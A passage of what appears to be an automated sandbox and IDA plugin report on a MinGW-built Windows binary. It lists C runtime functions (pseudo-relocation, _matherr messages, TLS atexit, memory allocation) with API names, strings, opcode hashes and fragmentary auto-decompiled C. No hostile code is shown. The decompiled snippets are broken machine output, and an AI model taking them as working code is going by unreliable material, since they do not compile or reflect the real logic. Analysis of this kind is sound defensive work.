                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253652a
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253652c
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2536539
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2536542
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2536549
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2536553
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2536556
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2536568
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253656d
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2536575
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2536578
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2536582

                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.432313925.00007FF7D2531000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7D2530000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432303670.00007FF7D2530000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432493750.00007FF7D253C000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432534429.00007FF7D253D000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436660541.00007FF7D2727000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436810294.00007FF7D2729000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436851867.00007FF7D272D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436925159.00007FF7D2730000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436972118.00007FF7D2731000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_7ff7d2530000_1258033132.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID: %*.*s$%-*.*s$%.*s
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 0-4054516066
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: f9eae9fc57abe2ceec4b2940aac0275ba58e9f9ee47d63db3bc154d242646517
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 34354fd6d3d9fdea8dbf19ec60d4e3623a34dde86622a88d6367b4791a97dbad
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f9eae9fc57abe2ceec4b2940aac0275ba58e9f9ee47d63db3bc154d242646517
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0341A773A0C25A85E760AF25D400A7DF690EB40754FD4D17ADF0E4A6C9EEADE802CB24
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF7D2535DC0 Relevance: 7.6, APIs: 5, Instructions: 53COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.432313925.00007FF7D2531000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7D2530000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432303670.00007FF7D2530000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432493750.00007FF7D253C000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432534429.00007FF7D253D000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436660541.00007FF7D2727000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436810294.00007FF7D2729000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436851867.00007FF7D272D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436925159.00007FF7D2730000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436972118.00007FF7D2731000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_7ff7d2530000_1258033132.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: malloc$abortmemcpymemset
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 4174897659-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 83d7493e0b460dc0fbe5f49f07fb9eaadc95acea52411e5684c396a4f3946673
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: ff7b43f806c61e6405de3fc4847a8274dd97ef36359824fe7350c8d78dd492dc
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 83d7493e0b460dc0fbe5f49f07fb9eaadc95acea52411e5684c396a4f3946673
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4C01C272B0968840ED05AE56E541AFD9250AB58FC0FC4A572DE2E17381EE38E983C320
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF7D25357F0 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 45COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.432313925.00007FF7D2531000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7D2530000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432303670.00007FF7D2530000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432493750.00007FF7D253C000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432534429.00007FF7D253D000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436660541.00007FF7D2727000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436810294.00007FF7D2729000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436851867.00007FF7D272D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436925159.00007FF7D2730000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436972118.00007FF7D2731000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_7ff7d2530000_1258033132.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CriticalSection$EnterLeavecalloc
                                                                                                                                                                                                                                                                                                                                                      • String ID: !dso || dso == &__dso_handle$../../src/mingw-w64/mingw-w64-crt/crt/tls_atexit.c
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 876395260-799109717
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 1d390fbb9fc0b0d6e4b7f171321f43474643a824e6212fa1418143d3d95b211f
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: ec82bedb9a5047858d84a22d782e01e0feee170d4fef7fb81889fe8d513ab1cb
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1d390fbb9fc0b0d6e4b7f171321f43474643a824e6212fa1418143d3d95b211f
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 81017071A0D65685FA21AB55F9406BDA390EF2DBA0FD91036CA0D47390EFBCE587C360
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF7D2534DD0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 232memoryCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF77FF7D2534DD0(void* __eax) {

				if ( *0xd272c0a0 == 0) goto 0xd2534e03;
				return __eax;
			}



                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534df0
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534e02

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • VirtualProtect.KERNEL32(00007FF7D272CC28,00007FF7D272C090,00007FF7D272CC20,00007FFA26C83CA0,?,?,?,00000001,00007FF7D253124C), ref: 00007FF7D2534F8D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00007FF7D2534BD0: VirtualQuery.KERNEL32 ref: 00007FF7D2534C7B
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      • Unknown pseudo relocation protocol version %d., xrefs: 00007FF7D2535132
                                                                                                                                                                                                                                                                                                                                                      • Unknown pseudo relocation bit size %d., xrefs: 00007FF7D253510A
                                                                                                                                                                                                                                                                                                                                                      • %d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 00007FF7D2535123
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.432313925.00007FF7D2531000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7D2530000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432303670.00007FF7D2530000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432493750.00007FF7D253C000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432534429.00007FF7D253D000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436660541.00007FF7D2727000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436810294.00007FF7D2729000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436851867.00007FF7D272D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436925159.00007FF7D2730000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436972118.00007FF7D2731000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_7ff7d2530000_1258033132.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Virtual$ProtectQuery
                                                                                                                                                                                                                                                                                                                                                      • String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1027372294-1286557213
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 7d3a8ab7e42b7b980ecd4a94f8c09b36446b533d081bc78aa1a8b0f06c1df7fb
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 0159a0abe5760601399c27c14f60fa0659068e99bb8caf1585cc1e208758d399
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7d3a8ab7e42b7b980ecd4a94f8c09b36446b533d081bc78aa1a8b0f06c1df7fb
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5B91B135F1C64A85EA20AF219410BBDA260AF497A4FD86277CE5E073C4DEBDE442C660
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF7D253ACD0 Relevance: 6.1, APIs: 4, Instructions: 92COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.432313925.00007FF7D2531000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7D2530000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432303670.00007FF7D2530000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432493750.00007FF7D253C000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432534429.00007FF7D253D000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436660541.00007FF7D2727000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436810294.00007FF7D2729000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436851867.00007FF7D272D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436925159.00007FF7D2730000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436972118.00007FF7D2731000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_7ff7d2530000_1258033132.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Byte$CharLeadMultiWide
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2561704868-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 2f417cd35d4657d96eacbe1ed95beccf3def7be6e38c8ee7609a729162687cff
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 17e00d526b1d2c737ac926f8ec4023947b1837866dd490d943da1affe3160244
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2f417cd35d4657d96eacbe1ed95beccf3def7be6e38c8ee7609a729162687cff
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4231C472A0C28586E370AF25B4007ADB690BB94794FD851B2EA99877D4CFBED442DB10
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF7D2533730 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 48COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.432313925.00007FF7D2531000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7D2530000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432303670.00007FF7D2530000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432493750.00007FF7D253C000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432534429.00007FF7D253D000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436660541.00007FF7D2727000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436810294.00007FF7D2729000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436851867.00007FF7D272D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436925159.00007FF7D2730000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436972118.00007FF7D2731000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_7ff7d2530000_1258033132.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: memsetwcscpywcslen
                                                                                                                                                                                                                                                                                                                                                      • String ID: 0
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3616488086-4108050209
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 35cbb7fe2e813dd4d04e72e03a8a7c81734691e1f37f8ec0d391e8f6cc3d167c
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: d7cab084d24efa5bafdb4962180488eef734e1b62375ce86a426c2f0d6a52434
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 35cbb7fe2e813dd4d04e72e03a8a7c81734691e1f37f8ec0d391e8f6cc3d167c
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4A11D022A2C69481E650AB10A414BAFA660EF847A4FD01332FA9D07BD5DF7DC1478740
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF7D2535E60 Relevance: 6.0, APIs: 4, Instructions: 24memoryCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.432313925.00007FF7D2531000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7D2530000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432303670.00007FF7D2530000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432493750.00007FF7D253C000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432534429.00007FF7D253D000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436660541.00007FF7D2727000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436810294.00007FF7D2729000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436851867.00007FF7D272D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436925159.00007FF7D2730000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436972118.00007FF7D2731000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_7ff7d2530000_1258033132.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: AllocCreateErrorLastSemaphoreabort
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 4146797221-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: a3c93cc115e5e2f6a7d2ca3c8a2447ba4f0d8753f14f1b6d4ad76aef6e39c7a4
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 5cdba0a4a957a4d9f47f9870bf0ac96a7d427b63563d8e14387115614cef2c7c
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a3c93cc115e5e2f6a7d2ca3c8a2447ba4f0d8753f14f1b6d4ad76aef6e39c7a4
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0BF0D070D0D54741F624BF75688583DA291AF5A321FD02676D51E812D0DEBCA147D630
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF7D2534A40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 25%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF77FF7D2534A40() {
				intOrPtr* _t8;

				asm("movaps [esp+0x40], xmm6");
				asm("movaps [esp+0x50], xmm7");
				asm("inc esp");
				if ( *_t8 - 6 > 0) goto 0xd2534b30;
				goto __rax;
			}




                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534a46
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534a4b
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534a50
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534a59
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534a6f

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.432313925.00007FF7D2531000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7D2530000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432303670.00007FF7D2530000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432493750.00007FF7D253C000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432534429.00007FF7D253D000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436660541.00007FF7D2727000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436810294.00007FF7D2729000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436851867.00007FF7D272D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436925159.00007FF7D2730000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436972118.00007FF7D2731000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_7ff7d2530000_1258033132.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: fprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 383729395-3474627141
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: c39fdc0fbebd2c500fc67c7a8d0b1b2ca71b819b6230ae1247f7327ac6b9faa7
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: dd52230131b9a48d72c217d133e83f09d3f44eb0e11b39b6819cafc83e755df7
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c39fdc0fbebd2c500fc67c7a8d0b1b2ca71b819b6230ae1247f7327ac6b9faa7
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 03017022908E88C6D6129F1CD8011EAB375FF9E75AFA85322EB8D26260DF69D543C700
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF7D2534B20 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF77FF7D2534B20() {

				goto 0xd2534a78;
				return 0;
			}



                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534b27
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534b42

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.432313925.00007FF7D2531000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7D2530000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432303670.00007FF7D2530000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432493750.00007FF7D253C000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432534429.00007FF7D253D000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436660541.00007FF7D2727000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436810294.00007FF7D2729000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436851867.00007FF7D272D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436925159.00007FF7D2730000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436972118.00007FF7D2731000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_7ff7d2530000_1258033132.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: fprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: Argument singularity (SIGN)$_matherr(): %s in %s(%g, %g) (retval=%g)
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 383729395-2468659920
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: a5389411ccc7e45f7048adb4fd1c6458282ed40e4919524e4a15964e7b2a7b49
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: ebc60ba65ccba9a85fa209809d87389b88c1b67e97f54078f96beadb7d4c2163
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a5389411ccc7e45f7048adb4fd1c6458282ed40e4919524e4a15964e7b2a7b49
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C5F04F6280CE4882D211DF18A8001FFA371FF8E799FA85326EB8D26124DF69D643C710
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF7D2534B00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
